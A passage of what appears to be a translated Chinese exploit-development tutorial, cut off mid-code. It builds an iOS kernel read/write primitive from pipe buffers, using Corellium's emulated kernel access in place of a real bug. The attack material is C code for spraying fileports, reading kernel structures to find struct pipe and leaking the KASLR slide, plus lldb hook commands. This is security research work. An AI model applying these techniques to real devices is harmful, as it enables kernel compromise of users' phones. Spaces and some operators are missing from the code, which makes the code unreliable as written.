免責聲明:所有的技術解釋皆基於本人現有的知識,由於本人水平有限,所以錯誤在所難免。同時,文中的概念可能被有意或無意地過度簡化了。
簡介在Corellium網站上通過已得到修復的漏洞練習exploit的開發技巧的過程中,我開始思考如何利用Corellium的管理程序的“魔法”特性來練習通用的漏洞利用技術——即使不借助於特定的漏洞。之所以會有這個想法,是因為我受到了Brandon Azad下面這段話的啟發:
“其次,我希望能夠在不借助於某個或多個特定漏洞的情況下來評估漏洞利用技術,以確定該技術的可行性(即,沒有失敗案例);因為通過不可靠的漏洞來測試利用技術的話,一旦發生失敗,我們很難確定問題出在利用技術本身上面,還是因為漏洞不穩定所致。”
在瀏覽器領域,一個典型的漏洞利用策略是使用兩個ArrayBuffer對象,並將一個對象的後備存儲指針指向另一個對象,這樣arrayBuffer1就可以隨意且安全地修改arrayBuffer2-backing_store_pointer了,比如針對Tesla瀏覽器的漏洞利用代碼就採用了這種方式:
上圖中最重要的部分是綠色方框部分,對應arrayBuffer1,以及它的後備存儲指針,其中存放的是arrayBuffer2的地址(見右邊獨立的灰色方框)。這樣的話,通過對arrayBuffer1的索引,就可以修改arrayBuffer2內的相應字段了,特別是arrayBuffer2-backing_store_pointer字段。之後,通過索引arrayBuffer2,我們就能讀/寫所需的任意地址了。
實際上,含有BSD組件的iOS內核中有一個明顯的等價物:UNIX管道。並且,管道API的用法與典型的UNIX文件用法非常相似,但前者的內容並沒有保存到磁盤上的文件中,而是以“管道緩衝區”的形式存儲在內核的地址空間,這是一個單獨的內存空間(默認為512字節,但可以通過向管道寫入更多的數據來進行擴展)。因此,通過控制管道緩衝區的指針,就可以用來創建任意的讀/寫原語,具體方式與控制Javascript引擎中ArrayBuffer的後備存儲指針的方式基本相同。
例如,下面的代碼將創建一個管道,它被表示為一對文件描述符(一個是“read end”和一個是“write end”),然後,寫入32字節的字符A:
intpipe_pairs[2]={0};
if(pipe(pipe_pairs)){
fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));
exit(-1);
}
printf('Pipereadendfd:%d\n',pipe_pairs[0]);
printf('Pipewriteendfd:%d\n',pipe_pairs[1]);
charpipe_buf_contents[32];
memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));
write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));
charbuf[33]={0};
read(pipe_pairs[0],buf,32);
printf('Readfrompipe:%s\n',buf);這至少會分配兩段內核空間:一段用於struct管道,一段用於管道緩衝區本身。要構建該技術,我們首先需要一個模擬漏洞。
Corellium就是魔法師Corellium有一個非常特殊的功能,它允許用戶態代碼任意讀/寫內核內存。雖然該特性是完全可靠的,但為了便於討論,我們將假裝有失敗的可能性,從而導致內核崩潰。因此,管道技術的全部意義在於將不可靠的原語“提升”為更好的原語。我們的示例原語將是任意讀取0x20字節(隨機選擇)以及任意寫入64位值:
/*Simulatea0x20bytereadfromanarbitrarykerneladdress,representativeofaprimitivefromabug.
*Callerisresponsibleforfreeingthebuffer.
*/
staticchar*corellium_read(uint64_tkaddr_to_read){
char*leak=calloc(1,128);
unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN,(uintptr_t)leak,kaddr_to_read,0x20);
returnleak;
}
/*Simulatea64-bitarbitrarywrite*/
staticvoidcorellium_write64(uintptr_tkaddr,uint64_tval){
uint64_tvalue=val;
unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER,kaddr,(uintptr_t)value,sizeof(value));
}為了增加真實性,我們可以增加一個隨機的失敗機會,例如每次使用都有10%的機會引起內核崩潰,或者遞增失敗的概率。然而,為了構建該技術,我決定讓其保持100%的可靠性。
重要的是,這些原語沒有提供KASLR洩漏漏洞,所以開發過程的部分工作將圍繞這個弱點進行。雖然Corellium還提供了另一個神奇的hvc調用,可以提供內核基址,但這裡並不使用該調用。
創建管道原語首先,我們需要兩個管道,並分配緩衝區。這與上面的基本管道例子非常相似。
//Createtwopipes
intpipe_pairs[4]={0};
for(inti=0;i4;i+=2){
if(pipe(pipe_pairs[i])){
fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));
exit(-1);
}
}
charpipe_buf_contents[64];
memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));
write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));
memset(pipe_buf_contents,0x42,sizeof(pipe_buf_contents));
write(pipe_pairs[3],pipe_buf_contents,sizeof(pipe_buf_contents));現在,我們需要在內核內存中定位這些結構。其中,一種方法是使用任意讀取來遍歷struct proc鍊錶,以查找exploit進程,然後遍歷其p_fd-fd_ofiles數組,以查找管道的fileglob,最後讀取fileglob-fg_data,這將是一個struct管道。不幸的是,這需要多次讀取,並且,我們還要假裝read原語是不可靠的。它還需要了解KASLR的slide,以便找到struct proc列表的頭部。總而言之,我們需要一種不同的方法。
Fileports:XNU的多味巧克力實際上,有一個API可用於通過Mach端口共享UNIX文件描述符,同時,Mach端口噴射技術已經由來已久。創建文件端口的API非常簡單:
intpipe_read_fd=[.];//Assumethiswascreatedelsewhere
mach_port_tmy_fileport=MACH_PORT_NULL;
kern_return_tkr=fileport_makeport(pipe_read_fd,my_fileport);通過創建大量這樣的端口(比如,100k),那麼,其中一個Mach端口落在可預測的地址上的機率就會變得相當高。並且,該端口的kobject字段將指向管道的fileglob對象,其中包含兩個非常有用的字段:
fg_ops:一個指向函數指針數組的指針。通過它,內核就知道如何調用pipe_read了,而非調用vn_read(用於磁盤上的普通文件)。這個指針位於內核的__DATA_CONST段中,這意味著這裡存在一個KASLR洩漏漏洞!
fg_data:一個指向struct管道的指針,這正是我們夢寐以求的東西。
同時,該struct管道還包含一個嵌入式結構(struct pipebuf),其中保存的是管道緩衝區的地址。通過使用兩次任意讀取原語,我們就可以確定struct管道的地址。為了達到我們的目的,我們還必須再一次定位管道的地址,所以,我們總共需要使用四次任意讀取原語。但是,我們該如何找出相應的內核地址呢?
更多Corellium魔法:管理程序鉤子我們可以使用管理程序鉤子輸出每個fileport分配的內存地址,然後選擇一個在多次運行中出現的地址,而不是胡亂猜測。
另外,這些鉤子可以通過調試器命令放置,但之後它們將獨立於調試器運行。因此,它們比斷點運行得快得多,並且可以直接記錄到設備的虛擬控制台,這使得提取數據以供後續分析變得容易了許多。
我們的鉤子應盡可能簡單——在執行到特定地址時,只需打印寄存器的值即可,例如:
(lldb)processpluginpacketmonitorpatch0xFFFFFFF00756F4F8print_int('Fileportallocated',cpu.x[0]);print('\n');其中,process plugin packet monitor用於告訴lldb,將原始“monitor”命令發送給遠程調試器存根。據這些鉤子文檔稱,這些命令在lldb中“通常是不可用的”,但至少對這個鉤子來說似乎是有效的。
該命令的其餘部分用於鉤住指定的地址,並將X0寄存器的內容打印到設備的控制台。幸運的是,鉤子的輸出是以不同的文字顏色顯示的,所以很容易發現。
為了給鉤子函數做好準備,我們需要確定要鉤住新分配的內存中的哪個地址,而這些地址通常會保存在寄存器中。下面,讓我們來看一下fileport_makeport的實現代碼:
int
sys_fileport_makeport(proc_tp,structfileport_makeport_args*uap,__unusedint*retval)
{
interr;
intfd=uap-fd;//[1]
user_addr_tuser_portaddr=uap-portnamep;
structfileproc*fp=FILEPROC_NULL;
structfileglob*fg=NULL;
ipc_port_tfileport;
mach_port_name_tname=MACH_PORT_NULL;
[.]
err=fp_lookup(p,fd,fp,1);//[2]
if(err!=0){
gotoout_unlock;
}
fg=fp-fp_glob;//[3]
if(!fg_sendable(fg)){
err=EINVAL;
gotoout_unlock;
}
[.]
/*Allocateandinitializeaport*/
fileport=fileport_alloc(fg);//[4]
if(fileport==IPC_PORT_NULL){
fg_drop_live(fg);
err=EAGAIN;
gotoout;
}
[.]
}在[1]處,文件描述符是從一個結構體類型的參數中接收的,它將與用戶空間中看到的、表示管道fd的整數相匹配。
在[2]處,將fd(例如3)轉換為表示內核內存中管道的fileproc對象指針。然後,在[3]處,解除fp_glob指針的引用,檢索管道的fileglob。
在[4]處,創建Mach端口,該端口封裝了fileglob對象,並將其指針放置在kobject字段中。其中,fileport是我們要記錄的地址,它是fileport_alloc的返回值,因此,它位於X0寄存器中。下面,讓我們來看看fileport_alloc的具體代碼:
ipc_port_t
fileport_alloc(structfileglob*fg)
{
returnipc_kobject_alloc_port((ipc_kobject_t)fg,IKOT_FILEPORT,
IPC_KOBJECT_ALLOC_MAKE_SEND|IPC_KOBJECT_ALLOC_NSREQUEST);
}這個函數很短,並且只引用了一次,所以,它很可能是內聯的。接下來,我們需要找到kernelcache內部的等效代碼。幸運的是,jtool2可以幫助我們完成這個任務。為此,我們首先需要通過Corellium的Web界面的“Connect”選項卡下載kernelcache,然後,就可以利用jtool2的分析功能來創建符號緩存文件了:
$jtool2--analyzekernel-iPhone9,1-18F72
Analyzingkernelcache.
Thisisanold-styleA10kernelcache(DarwinKernelVersion20.5.0:SatMay802:21:50PDT2021;root:xnu-7195.122.1~4/RELEASE_ARM64_T8010)
Warning:ThisversionofjokersupportsuptoDarwinVersion19-andreportedversionis20
--Processing__TEXT_EXEC.__text.
Disassembling6655836bytesfromaddress0xfffffff007154000(offset0x15001c):
__ZN11OSMetaClassC2EPKcPKS_jis0xfffffff0076902f8(OSMetaClass)
Can'tgetIOKitObject@0x0(0xfffffff007690b5c)
[.]
openedcompanionfile./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB
Dumpingsymbolcachetofile
Symbolicated7298symbolsand9657functions然後,我們可以利用grep命令處理該文件,以找到我們需要的兩個符號:
$grepipc_kobject_alloc_portkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB
0xfffffff00719de7c|_ipc_kobject_alloc_port|
$grepfileport_makeportkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB
0xfffffff00756f3a4|_fileport_makeport|現在,我們只需從fileport_makeport中找到對ipc_kobject_alloc_port的調用即可:
需要注意的是,這個調用指令後的指令面,就是我們要掛鉤的指令,其地址為0xFFFFFFF00756F4F8。由於啟用了KASLR機制,直接修改這個地址是無法奏效的。幸運的是,如前所述,我們可以藉助於虛擬機管理程序的另一種魔法,即通過調用提供的get_kernel_addr函數從userspace獲得slid內核基的方法:
#defineKERNEL_BASE0xFFFFFFF007004000
uint64_tkslide=get_kernel_addr(0)-KERNEL_BASE;
printf('Kernelslide:0x%llx\n',kslide);
printf('Placehypervisorhook:\n');
uint64_tpatch_address=g_kparams-fileport_allocation_kaddr+kslide;
printf('\tprocesspluginpacketmonitorpatch0x%llxprint_int(\'Fileportallocated\',cpu.x[0]);print(\'\\n\');\n',patch_address);
printf('Pressentertocontinue\n');
getchar();通過將這段代碼放到exploit的開頭處,不僅能為附加調試器和安裝鉤子提供必要的時間,還能為給定的kernelcache提供正確的slid地址。
一旦鉤子安裝到位,我們就可以噴射100k fileport,並選擇一個作為我們要猜測的內存地址。我簡單地向上滾動了一下,在列表的3/4處隨機選擇了一個,這對於PoC來說似乎足夠好了。一個更嚴謹的做法,是通過多次運行來跟踪地址範圍,並嘗試挑選一個已知的高概率的地址,例如如Justin Sherman的IOMobileFrameBuffer漏洞利用代碼就採用了這種方式。
現在我們有了一個猜測對象,我們可以執行兩次相同的噴射操作(為每個管道的讀端fd噴射一次),並讀取kobject字段來定位struct管道;下面是完整的實現代碼:
structkpipe{
intrfd;
intwfd;
uint64_tfg_ops;
uint64_tr_fg_data;
};
staticstructkpipe*find_pipe(intrfd,intwfd){
structkpipe*kp=NULL;
char*leak=NULL;
char*fileglob=NULL;
char*fg_data=NULL;
printf('[*]Sprayingfileports\n');
mach_port_tfileports[NUM_FILEPORTS]={0};
for(inti=0;iNUM_FILEPORTS;i++){
kern_return_tkr=fileport_makeport(rfd,fileports[i]);
CHECK_KR(kr);
}
printf('[*]Donesprayingfileports\n');
#ifdefSAMPLE_MEMORY
//Noneedtocontinue,justexit
printf('[*]Finishedcreatingmemorysample,exiting\n');
exit(0);
#endif
uint64_tkaddr_to_read=g_kparams-fileport_kaddr_guess;
leak=read_kernel_data(kaddr_to_read+g_kparams-kobject_offset);//port-kobject,shouldpointtoastructfileglob
if(!leak){
printf('[!]Failedtoreadkerneldata,willlikelypanicsoon\n');
gotoout;
}
uint64_tpipe_fileglob_kaddr=*(uint64_t*)leak;
if((pipe_fileglob_kaddr0xff00000000000000)!=0xff00000000000000){
printf('[!]Failedtolandthefileportspray\n');
gotoout;
}
pipe_fileglob_kaddr|=0xffffff8000000000;//PointermightbePAC'd
printf('[*]Foundpipestructure:0x%llx\n',pipe_fileglob_kaddr);
//+0x28pointstofg_opstoleaktheKASLRslide
//+0x38pointstofg_data(structpipe)
fileglob=read_kernel_data(pipe_fileglob_kaddr+0